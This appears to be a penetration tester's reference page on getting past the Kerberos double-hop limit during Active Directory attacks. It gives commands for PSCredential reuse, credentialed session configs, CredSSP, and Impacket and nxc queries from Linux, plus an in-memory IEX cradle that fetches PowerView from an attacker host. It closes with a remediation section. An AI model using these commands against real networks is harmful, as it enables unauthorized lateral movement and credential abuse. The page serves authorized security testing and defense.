🛡️ Methodology Checklist
- Identify double-hop problem: commands fail on remote host when using WinRM/PSRemoting
- Have creds/hash/ticket? Skip the hop — run AD tools from Linux (
nxc/ Impacket-k) straight at the DC - Solution 1: PSCredential in remote session (
Invoke-Commandwith-Credential) - Solution 2: Register-PSSessionConfiguration to create custom config
- Solution 3: Unconstrained delegation host — catch TGT via SpoolSample/Coerce
- Solution 4: OverPass-the-Hash from Mimikatz to get usable TGT
- Document which technique resolved the double-hop
🎯 Operational Context
Use when: You have a WinRM/PSRemoting session and need to authenticate to a third host — direct creds don’t forward through the hop.
Think Dumber First: Classic double hop: WinRM to Host A → try to access Host B → Access Denied. Fix options: CredSSP delegation (risky), constrained delegation abuse, or Enter-PSSession with -Credential and -Authentication CredSSP (if CredSSP enabled).
Skip when: You have a Meterpreter session — meterpreter handles pivoting differently via autoroute/portfwd.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
$SecPass = ConvertTo-SecureString '[PASS]' -AsPlainText -Force | Build secure string inside remote session |
$Cred = New-Object System.Management.Automation.PSCredential('[DOMAIN]\[USER]', $SecPass) | Build PSCredential object |
get-domainuser -spn -credential $Cred | select samaccountname | Execute PowerView with explicit credential (bypasses double hop) |
Register-PSSessionConfiguration -Name [SESSION_NAME] -RunAsCredential [DOMAIN]\[USER] | Bind credentials to a named WinRM session (requires local admin + WinRM restart) |
Restart-Service WinRM | Apply PSSessionConfiguration change |
Enter-PSSession -ComputerName [HOSTNAME] -Credential [DOMAIN]\[USER] -ConfigurationName [SESSION_NAME] | Connect using the credentialed session config |
klist | Check cached Kerberos tickets — diagnose missing TGT |
🔬 Deep Dive & Workflow
Tool Setup
PowerView — fetch + host it on the attacker first:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
python3 -m http.server 8000 # run from the dir holding PowerView.ps1Then load it into the remote session. The in-memory IEX cradle pulls the script straight from your attacker host, which sidesteps the double-hop problem for loading the script itself (the credential-delegation issue this page solves is separate):
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]:8000/PowerView.ps1')Mimikatz — upload mimikatz.exe and run elevated. Transfer via File_Transfer_Windows. Full setup for every AD tool: AD_Tools_Reference.
The Problem
When you authenticate to a host via WinRM/PSRemoting (Kerberos), your TGT and NTLM hash are not cached in that session’s memory. Attempting to access a second resource from that shell:
Attack Host → (WinRM/Kerberos) → DEV01 → (attempts) → DC01
DEV01 has no stored credentials to prove your identity to DC01. Result: Access Denied or “operations error” on the second hop.
Exception: If the intermediate host has Unconstrained Delegation enabled, the TGT is cached natively and the double hop succeeds without workarounds.
Diagnosis: Run klist from inside the session. If you see a ticket for the HTTP service but no krbtgt ticket, your TGT is missing.
Escape Hatch — Run From Linux (no hop, no problem)
The double-hop only exists because you’re chaining through a Windows WinRM session. If you already hold the credential material (password, NT hash, or a ticket), don’t hop — run the AD tooling straight from Kali against the DC. Each tool authenticates directly, so there’s no second hop to forward.
# Password / hash — query the DC directly, no intermediate host
nxc ldap [DC] -u [USER] -p '[PASS]' # or -H [NTHASH]
impacket-GetUserSPNs -dc-ip [DC] [DOMAIN]/[USER]:'[PASS]' -request
bloodyAD --host [DC] -d [DOMAIN] -u [USER] -p '[PASS]' get writable
# Ticket (Pass-the-Ticket) — get a TGT, then -k everywhere
impacket-getTGT [DOMAIN]/[USER]:'[PASS]' -dc-ip [DC] # → [USER].ccache
export KRB5CCNAME=[USER].ccache
nxc ldap [DC] -u [USER] -k # Impacket tools: add -k -no-passReach for the Windows methods below only when you’re stuck on the Windows shell — you must act as the session’s identity and have no extractable cred/hash/ticket to replay from Linux. See Pass_the_Ticket_Linux.
Method 1: PSCredential Object (Works in evil-winrm)
Create a credential object inside the remote session and pass it explicitly to each command:
# Inside the evil-winrm / remote session:
$SecPass = ConvertTo-SecureString '[PASS]' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('[NETBIOS]\[USER]', $SecPass)
# Now use -Credential on every tool that needs to reach the DC
get-domainuser -spn -credential $Cred | select samaccountname
Get-DomainGroupMember -Identity "Domain Admins" -Recurse -credential $CredThis works from evil-winrm and any non-interactive shell. Every PowerView/AD cmdlet that accepts -Credential can use this pattern.
Method 2: Register-PSSessionConfiguration (Windows-only)
From an elevated PowerShell terminal on the first hop machine (requires GUI or RDP access):
# Bind the target user's creds to a named session
Register-PSSessionConfiguration -Name DoubleHopSession -RunAsCredential [NETBIOS]\[USER]
# Restart WinRM to apply (will temporarily drop your current session)
Restart-Service WinRM
# Re-enter using the new config name — all requests now impersonate [USER] natively
Enter-PSSession -ComputerName DEV01 -Credential [NETBIOS]\[USER] -ConfigurationName DoubleHopSessionLimitations:
- Cannot use this from
evil-winrm— it requires a GUI popup to confirm credentials - Fails from PS installed on Linux (OS-level Kerberos handling issues)
-RunAsCredentialrequires an elevated (Administrator) terminal
Alternative Workarounds
If both methods fail:
- CredSSP — delegates credentials all the way through (but weakens security; Kerberos constrained delegation is the proper fix)
- Port forwarding — forward the DC’s LDAP port through the pivot host to your attack machine, then query locally
- Inject into process — spawn a sacrificial process owned by the target user using
runas /netonly, run tools from that context
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| CredSSP not enabled on jump host | Default Windows config disables CredSSP | Enable: Enable-WSManCredSSP -Role Server on jump host; Enable-WSManCredSSP -Role Client on attack box |
| Kerberos delegation not available | No unconstrained delegation target | Use resource-based constrained delegation if you have GenericWrite on target computer object |
| PSSession creds not forwarding | Kerberos double hop limitation | Use explicit creds in PSSession: New-PSSession -Credential (Get-Credential) -ComputerName [HOST2] |
| CredSSP session still denied | Firewall or WinRM not configured on target | Verify WinRM: Test-WSMan -ComputerName [HOST2] from jump host |
| Unconstrained delegation abuse fails | Target not in unconstrained delegation list | Check with BloodHound: MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name |
📝 Reporting Trigger
Finding Title: Kerberos Double Hop Problem Bypassed via Delegation Misconfiguration Impact: Unconstrained or CredSSP-enabled delegation allows forwarding authentication credentials through multiple hops, enabling lateral movement to systems accessible only from an intermediate pivot without requiring additional credentials. Root Cause: Unconstrained Kerberos delegation enabled on intermediate hosts without business justification. CredSSP enabled to work around double-hop limitations without understanding the security implications. Recommendation: Replace unconstrained delegation with constrained or resource-based constrained delegation. Disable CredSSP where possible. Implement JIT/JEA (Just Enough Administration) for privileged remote access. Alert on unconstrained delegation computer accounts accessing sensitive systems.
🔗 Related Nodes
- AD_Privileged_Access
- AD_Credentialed_Enum_Windows
- Pass_the_Ticket_Windows
- Pass_the_Ticket_Linux — get/replay tickets from Kali (the no-hop route)
- AD_Credentialed_Enum_Linux